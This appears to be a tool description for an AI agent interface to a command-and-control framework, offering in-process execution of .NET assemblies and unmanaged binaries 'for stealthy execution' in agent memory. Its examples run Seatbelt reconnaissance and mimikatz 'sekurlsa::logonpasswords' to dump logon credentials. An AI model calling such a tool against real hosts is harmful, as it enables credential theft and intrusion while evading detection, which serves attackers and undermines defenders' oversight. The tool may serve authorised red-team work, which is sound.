bof_execution
Execute .NET assemblies and unmanaged binaries in-process without fork-and-run or console output. Runs payloads directly in agent memory for stealthy execution.
Instructions
Execution-BOF: In-process payload execution.
execute-assembly [params] [--async] Execute a .NET assembly in-process (no fork-and-run). Example: execute-assembly /opt/Seatbelt.exe -group=user
noconsolation [args] Run an unmanaged EXE/DLL inside agent memory without a console. Example: noconsolation /tmp/mimikatz.exe "sekurlsa::logonpasswords"
Input Schema
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | Yes | ||
| command | Yes | ||
| args | No |
Output Schema
| Name | Required | Description | Default |
|---|---|---|---|
| result | Yes |